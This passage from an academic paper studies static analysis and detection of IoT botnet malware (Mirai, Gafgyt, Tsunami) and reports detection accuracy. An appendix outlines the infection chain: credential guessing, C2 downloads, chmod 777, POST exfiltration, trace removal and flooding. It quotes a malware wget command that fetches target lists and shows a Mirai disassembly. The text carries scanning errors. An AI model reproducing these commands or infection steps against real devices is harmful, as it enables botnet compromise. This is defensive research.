For IoT malware detection, Van der Elzen and Van Heugten [12] examined
the ISP traffic to identify IoT malware traffic using existing network-based tech-
niques, but did not consider network artifacts (addresses) in the malware code.
Su et al. [27] detected DDoS-capable IoT malware by leveraging a convolutional
neural network-based detector gray-scale images generated from the Gafgyt and
Mirai binaries with an accuracy of 94%. Milosevic et al. [21] used the memory
and CPU features of android malware for detection with a precision and recall
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of about 84%, albeit dynamic (not static). Aggarwal and Srivastava [1] proposed
securing IoT devices through by implementing Software Defined Network (SDN)
and Edge Computing guards, although they did not examine detection features.
Azmoodeh et al. [6] used a dataset of 128 malware samples for ARM-based IoT
apps from VirusTotal and used Opcodes to classify them as malicious or benign.
However, their study is limited to a single architecture and opcodes sequences.
Furthermore, Alasmary et al. [3] utilized the features generated from the CFG of
the IoT malware towards their detection. However, they do not look at the other
groups of features that we look into in this work. They also do not look into the
features holistically towards understanding the malware’s execution strategy.

Discussion. The prior works have focused mostly on understanding Mira: for
the availability of samples, mostly using dynamic features of CPU and network
usage, and by drawing analogies from Android app-based features for detection.
Alasmary et al. [2] showed that the [oT and Android malware differ from each
other. With a few exceptions, these works do not characterize the semantics
of IoT malware for detection. Obfuscation in the static analysis-based related
work is often ignored, which we address through main function approximation
for malware that do not have a main function. Our work standas out in its
accuracy of 99.8%, given the diversity and comprehensiveness of the features, as
compared to 94% accuracy reported by Su et al. [27]. Unique in our study is the
identification of common ports used for malware communication, highlighting
the usage of non-standard ports by malware samples. We propose that blocking
such ports when not being used by trusted applications may reduce the exposure
to risk. Finally, in Appendix A.1 we use our static analysis artifacts to explain
the infection, propagation, and attack strategy of botnets by their families.

Limitations. This study leverages static analysis towards understanding and
detecting the IoT malware. A major feature utilized for this analysis is strings
and functions. These features, however, can be impacted by obfuscation tech-
niques, e.g., the use of packers and stripped binaries. For such malware, we show
that the metadata information can be used as a detection modality.

6 Conclusion and Future Work

IoT malware is on the rise, with very little work on understanding their capabil-
ities and trends from a static program analysis standpoint. Through static anal-
ysis, we dissect a large number of IoT malware samples for strings, graph struc-
tures, and functions. Among other interesting findings, we uncover unique IoT
malware features; the prevalence of cuss words in strings, multi-infections discov-
ered dropzone/target IP visualization, and compact control flow graph structures.
We then use those insights to pursue IoT malware infection process (life cycle)
reconstruction and a highly-accurate IoT malware detection. While static anal-
ysis provides plenty of information about malware capabilities, malware authors
employ obfuscation techniques, including packers, to limit disassembly. In the
future we will extend our analysis to dynamic behavior and artifacts across the
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same analysis directions obtained from static artifacts. In doing that, we will
explore how dynamic analysis can address samples identified invalid through
static analysis, and explore how dynamic analysis can complement by improving
the lifecycle reconstruction and detection applications.

Acknowledgments. This work was supported in part by a Collaborative Seed Award
(2020) from Cyber Florida and NRF under NRF-2016K1A1A2912757.

A Appendix

A.1 Infection Process Reconstruction

The infection starts with a dictionary attack using parameterized user creden-
tials. Upon successful access, it attempts to access BusyBox or traverse to direc-
tories explicitly mentioned directly or parameterized. Then it downloads pay-
loads from a specified C2 using a protocol, such as HT'TP and wget. The down-
loaded file is then given read, write, and execute permissions using the chmod
777 command. The HTTP POST method is used to exfiltrate information from
the host device to the C2. Upon infection the host participates in expanding the
attack network by scanning IPs from a list of target IPs over a different port.
Additionally, the presence of rm -rfreflects at the clearance of its traces to avoid
detection. The malware finally launches a series of flooding attacks, using DNS
amplification, HTTP, SNMP, wget, Junk, and TCP.

Although the malware from different families follow a similar sequence
towards their objectives, we observe the difference in the ways to achieve those
steps. Among the Tsunam: family, we observe that the attack is device depen-
dent, shown by the occurrence of words such as, Cisco, Oracle, Zte, and Dream-
box. Table 8 shows that ~83% of the T'sunami malware use IRC. For the Gafgyt
family, we found that the execution depends on successfully accessing the end-
point using the explicitly mentioned credentials, such as default username-
password combinations. Additionally, for the selection of the target devices,
we observe masked IP addresses (recall the presence of octet mask and full
mask) and IP addresses stored in a file downloaded from C2, as can be seen
in Fig. 5. Also, Table 8 shows the infection strategy of Mirai, Tsunami, Gafqyt,
and Lightaidra variants. It represents the samples among a variant that creates
or traverses directories, or those that have access permission changes. It also
exhibits the prevalence of transport protocols used to carry an attack, the meth-
ods used to download malicious shell scripts for infection, removal of executable
files downloaded from the C2 after execution by family. We observe that 53
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Table 8. Infection statistics of malware families. Cre.: Create Directory, Trav.: Traverse
Directory, Perm.: Access Permission, T.Pr.: Transport Protocol Used R.Tr.: Remove
Traces, T: TCP, U: UDP, W: wget, TF: TFTP, H: HT'TP, G: GET, and others are in
Table 2.

Fam. | Tot |Cre.|Trav.|Perm. | T.Pr. | R.Tr. | Infection IRC
Gfgt 2,609 |516 [2,299(2,099 |T,U |2,195 | W, TF, G, H|1

Miri | 185 |- |2 1 T, U |- W, TF,H |-
Tsn | 64 |11 |24 |24 |T,U |23 |W,TF, G, H|53
Lght | 1 |- |- - - - G -

variants out of 64 Tsunami malware use IRC for infection. Although the table
represents a certain vector in the malware behavior, that vector can have broad
implications, within a family. We, however, do not generalize the observation
across-architectures.

wget \%s —g -0 DNS.txt || busybox wget \%s -O DNS.txt ||
/bin/busybox wget \%s —-O DNS.txt

Fig. 5. Retrieving a list of target hosts.

A.2 Function Approximation

For the malware that are stripped of their function names, we compare the CFG
from their individual functions and compare CFG manually with the CFG from
the main of the samples that have a main function. For the ten malware samples
that we experimented on, we were able to approximate the main function.
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(fcn) entry0 36

entry0 ();
; UNKNOWN XREF from 0x00008018 (section.LOADO+24)
0x0000816c 00b0ale3 mov fp, O
0x00008170 00e0ale3 mov lr, O
0x00008174 10109fe5 ldr rl, [0x0000818c]
0x00008178 01108fe0 add rl, pc, rl
0x0000817c 0d00alel mov r0, sp
0x00008180 0fc0c0e3 bic ip, r0, Oxf
0x00008184 OcdOalel mov sp, 1ip
0x00008188 000000eb bl fcn.00008190
; DATA XREF from 0x00008174 (entryO)
0x0000818c 807effff invalid

(fcn) fcn.00008190 7320

fcn.00008190 (int arg_3ch);
; var int local_0Oh @ sp+0x0
; var int local_4h @ sp+0x4
; var int local_ch @ sp+0xc

; var int local_10h Q@ sp+0x10
; var int local_14h Q@ sp+0x14
; var int local_24h @ sp+0x24
; var int local_28h @ sp+0x28
; var int local_2ch @ sp+0x2c
; var int local_30h @ sp+0x30

; arg int arg_38h @ sp+0x38

; arg int arg_3ch @ spt+0x3c

; CALL XREF from 0x00008188 (entry0)
0x00008190 04e02de5 str 1r, [sp, —-4]!
0x00008194 24c09fe5 1dr ip, [0x000081c0]

0x00008198 0030a0el mov r3, r0
0x0000819c 0cd04de2 sub sp, sp, 0xc
0x000081a0 001093e5 1dr rl, [r3]

Fig. 6. A sample disassembly of Mirai malware. Observe the 8" instruction, where the
program branches to the obfuscated main function.
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